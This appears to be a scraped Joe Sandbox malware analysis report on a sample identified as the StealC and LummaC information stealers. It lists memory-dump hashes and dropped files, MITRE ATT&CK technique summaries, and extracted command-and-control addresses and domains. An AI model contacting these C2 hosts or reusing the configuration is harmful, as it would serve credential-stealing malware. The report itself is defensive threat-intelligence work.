Opcode Fuzzy Hash: 2a4489d47cab91cad4a48d70a2406934ca84b651156109d9a02142359cad684b
Instruction Fuzzy Hash: 620184B3908120AFD305AE0DD812B7AF7ECEF94710F2A452EEA8693340D9B15C008BD7

Function 0032F10A Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0032F10F

Memory Dump Source

Source File: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6bb58d03b9ea4bfbfa12c791ff7236214773a8a191781791f7270d133198a76c
Instruction ID: ec0f9c4fea21be01c6a76a7a3fe1e2db62d44f2342b8c20a72707578fe559d30
Opcode Fuzzy Hash: 6bb58d03b9ea4bfbfa12c791ff7236214773a8a191781791f7270d133198a76c
Instruction Fuzzy Hash: 39C0EA7560468E9FDB842F7894096EE3A64EF05322F240618A86285AC0DB728C64DA19

Non-executed Functions

Function 004BBBDD Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfa3f9ba1e3c81da8c9a6f78362fc027ecacab57c1dd7ec81d1aae7187b6e27
Instruction ID: 7b6a70a2c7dd016e57a2b964a382c96748ad88be18f9ef3d9461293233fd7931
Opcode Fuzzy Hash: 7cfa3f9ba1e3c81da8c9a6f78362fc027ecacab57c1dd7ec81d1aae7187b6e27
Instruction Fuzzy Hash: 67E04676104201AAC700AF64C85599FFBF8FF19320F21984AE988CB722C3758C51CB2A

Source: https://tacitglibbr.biz/x	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apiSD	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/pi0ZZ	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apilS	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/P	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apip	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/H	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/api)	Avira URL Cloud: Label: malware

Source: 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: NYMPo215Qd.exe.6508.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["sordid-snaked.cyou", "diffuculttan.xyz", "deafeninggeh.biz", "immureprech.biz", "wrathful-jammy.cyou", "tacitglibbr.biz", "effecterectz.xyz", "awake-weaves.cyou", "debonairnukk.xyz"], "Build id": "PsFKDg--pablo"}

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Joe Sandbox ML: detected

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NYMPo215Qd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G9H9BE2GP1UE0C9AS5I0G1FKO.exe.log

C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe

C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
NYMPo215Qd.exe

Function 004A97F5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
fileCOMMON

Function 04A115D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 004B5B77 Relevance: 4.6, APIs: 3, Instructions: 63
registryCOMMON

Function 004A9979 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 168
fileCOMMON

Function 004A9B86 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
fileCOMMON

Function 004A5987 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145
libraryCOMMON

Function 04A115C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Function 004A9990 Relevance: 1.6, APIs: 1, Instructions: 78
fileCOMMON

Function 004A9B8B Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Function 004A9B60 Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Function 004A9BC4 Relevance: 1.6, APIs: 1, Instructions: 67
fileCOMMON

Function 04A10D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 004A99C2 Relevance: 1.6, APIs: 1, Instructions: 62
fileCOMMON

Function 004A9A25 Relevance: 1.6, APIs: 1, Instructions: 61
fileCOMMON

Function 04A10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre